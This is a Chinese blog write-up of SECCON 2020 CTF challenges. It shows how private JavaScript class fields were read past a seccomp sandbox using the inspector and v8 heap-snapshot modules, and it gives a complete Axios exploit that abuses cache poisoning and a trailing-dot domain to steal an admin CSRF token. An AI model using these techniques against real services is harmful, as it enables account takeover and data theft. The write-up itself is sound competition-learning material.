SECCON 2020 OnlineCTF Writeup

Author:颖奇L’Amore Blog:www.gem-love.com


Beginner’s Capsule

solved by [email protected] 题目是TS写的,给了Docker (tar.gz格式)

可以任意执行命令,根据给的这段代码来看我们要读flag,但是flag是个PR,是不能从外界访问的

源码没有什么有用的东西,写的基本都是在容器里执行ts

由于ts是先compile为js再执行的,而js并不支持#开头私有属性这种语法,那么JS中就肯定有一种东西来支持TS的私有属性 实际上对于TS的私有属性,在编译为JavaScript后使用_classPrivateFieldSet_classPrivateFieldGet函数来赋值,函数中接收的privateMap参数则是一个WeakMap的实例,参考这个

当然我们可以通过tsc命令手工将TypeScript编译为JavaScript,来看一下编译后的结果

基本上和样例一样,主要是_flagWeakMap的一个实例,查询WeakMap文档发现他其实只是一个键值对的集合,可以通过get方法获取一个键的值,所以答案就呼之欲出了

Capsule

代码基本没区别

const fs = require('fs');

const {enableSeccompFilter} = require('./lib.js');

class Flag {
#flag;
constructor(flag) {
this.#flag = flag;
}
}

const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');

enableSeccompFilter();

只是换成了直接执行js

这里有一个issue显示,可以使用inspector模块来获得私有变量,并且这是一个内置模块意味着我们可以在无法npm i时直接调用

但是直接使用它来读取flag会得到:

private properties undefined

需要先把flag加入global才可以读取

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session();
session.connect();
session.post('Runtime.evaluate', { expression: `flag` },
(error, { result }) => {
session.post('Runtime.getProperties', { objectId: result.objectId },
(error, { privateProperties }) => {
console.log('private properties', privateProperties);
});
});

非预期1

其实这个题还蛮简单的,比如直接劫持require函数。。。。。 思路类似今年DEFCON Final的那个拼图题,利用报错拿到flag

非预期2

注意到题目代码的最后一句,它用来禁止从/proc/self/mem中读取内存

enableSeccompFilter();

但是可以利用第三方库读内存,比如v8模块的getHeapSnapshot()

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();
const index = memory.indexOf('SEC'+'CON');
const len = memory.slice(index).indexOf('}');
const flagBuffer = memory.slice(index, index + len + 1);
console.log(flagBuffer.toString());

Milk

表面上是一个XSS,但实际上是个缓存污染攻击 题目有两个域,分别是milk和milk-api,milk域是一个Note App,能够注册、登录、写笔记、提交给管理员访问,这些操作大部分通过api来操作。给了源码 看api的源码,首先可以看到它使用的是token来做认证:

// CSRF Token validation
router.use(async (ctx, next) => {
const tokenString = ctx.request.url.searchParams.get('token') '';
const token = await Tokens.findOne({token: tokenString});
if (!token) {
ctx.response.body = 'Bad CSRF token';
ctx.response.status = 400;
return;
}
if (token.username === '') {
ctx.response.status = 403;
return;
}

await Tokens.deleteOne({_id: token._id});

ctx.state.user = (await Users.findOne({username: token.username}))!;

await next();
});

管理员访问/flag路由即可得到flag:

router.get('/flag', async (ctx) => {
if (!ctx.state.user.admin) {
ctx.response.body = 'Flag is the privilege available only from admin, right?';
ctx.response.status = 403;
return;
}

ctx.response.body = Deno.env.get('FLAG');
});

所以本题目要做的是获取管理员的token。一开始我以为是xss题目,但是因为有CSP绕不过,csrftoken的jsonp也不是任意可控的

Content-Security-Policy: default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-api.chal.seccon.jp; script-src 'self' https://milk-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-xynbUFfxov/jB5OqYtvdEP/YBByczVOIsuEomUHxc0U=';

这题的难点在于token一旦被使用就被删除了,所以我们要想办法组织这个token被使用,这样攻击者才有机会去利用这个token伪造管理员。 注意到在note.php中

<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>
<script src=/index.js></script>
<script>
csrfTokenCallback = async (token) => {
window.csrfTokenCallback = null;
const paths = location.pathname.split('/');

const data = await $.get({
url: 'https://milk-api.chal.seccon.jp/notes/get',
data: {id: paths[paths.length - 1], token},
xhrFields: {
withCredentials: true,
},
});

document.getElementById('username').textContent = data.note.username;
document.getElementById('body').textContent = data.note.body;

document.querySelector('[name=url]').value = location.href;
};
</script>

api的csrf_token是一个jsonp调用csrfTokenCallback(),一旦调用了这个函数就会AJAX请求api的/notes/get路由去获取note的内容,一旦去访问notes/get,就会先经过router.use(),token就被删除了,所以要在拿到token的同时组织这个回调。

这里有许多种解法,关于非预期解法请直接看出题人写的文档,但基本都是利用缓存污染攻击,只是如何阻止token被删除的方法多种多样。 域名后面加上一个点儿,https://milk.chal.seccon.jp./,注意这最后加了一个. 但是浏览器访问它依然可以访问,DNS解析正常,NGINX认为它和正常域名的hostname没有区别。但是对于CORS Policy就不一样了,这两个域名被认为是跨域的,正好CSP的connect-src只指定了正常域名,故而如果Blocked By CORS那么就可以阻止回调了。 但是利用<script src=>去Bypass CORS是XSS的一个常用策略,因为script的引用不遵循CORS,但是现在我们想要他遵循,所以要手工给它一个参数,可以利用 crossorigin="use-credentials"

现在来从头理一下攻击的思路:

  • 首先因为nginx服务器缓存了api的所有请求,当我们把一个url提交给管理员访问时,nginx就缓存了管理员的CSRF Token
  • 然后因为我们提交的URL是精心构造的,jsonp回调没有执行,就没有访问/note/get路由,token就还没有被删除
  • 现在我们可以通过_参数传入与“note页面的script标签的src引用发起一个jsonp请求到api的csrf_token页面是的_参数”一样的值给csrf_token来获得管理员的token(因为缓存)
  • 拿到了管理员token,伪造管理员去拿flag

exp:

const Axios = require('axios');
const qs = require('querystring');
const https = require('https');

const random = Array(10).fill().map(() => 'abcdefg'[Math.floor(Math.random() * 6)]).join('');

(async () => {
const axios = Axios.create({
httpsAgent: new https.Agent({
rejectUnauthorized: false,
}),
});

const {data: reportResult} = await axios({
method: 'POST',
url: 'https://milk.chal.seccon.jp/report',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
data: qs.stringify({
url: `https://milk.chal.seccon.jp./note.php?${qs.stringify({
id: 'hoge',
_: `${random} crossorigin=use-credentials`,
})}`
}),
});
// console.log(reportResult);

await new Promise((resolve) => setTimeout(resolve, 10000));

const {data: csrfTokenJsonp} = await axios.get('https://milk-api.chal.seccon.jp/csrf-token', {
params: {
_: random,
},
});

const csrfToken = csrfTokenJsonp.match(/'(.+?)'/)[1];
// console.log(csrfToken);

const {data: flag} = await axios.get('https://milk-api.chal.seccon.jp/notes/flag', {
params: {
token: csrfToken,
},
headers: {
Referer: 'https://milk.chal.seccon.jp/',
},
});

console.log(flag);
})();

还有个Milk Revenge,但实际上并没有很revenge,很多解法都是通杀这俩题


References
https:[email protected]/ryLh2okDD
https://gist.github.com/po6ix/4af76691ea379957f9e8d68e002ec123
https:[email protected]/S15X3c1wv
https://diary.shift-js.info/seccon-online-pasta/

Author: Y1ng
Link: https://www.gem-love.com/2020/10/11/seccon-2020-onlinectf-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!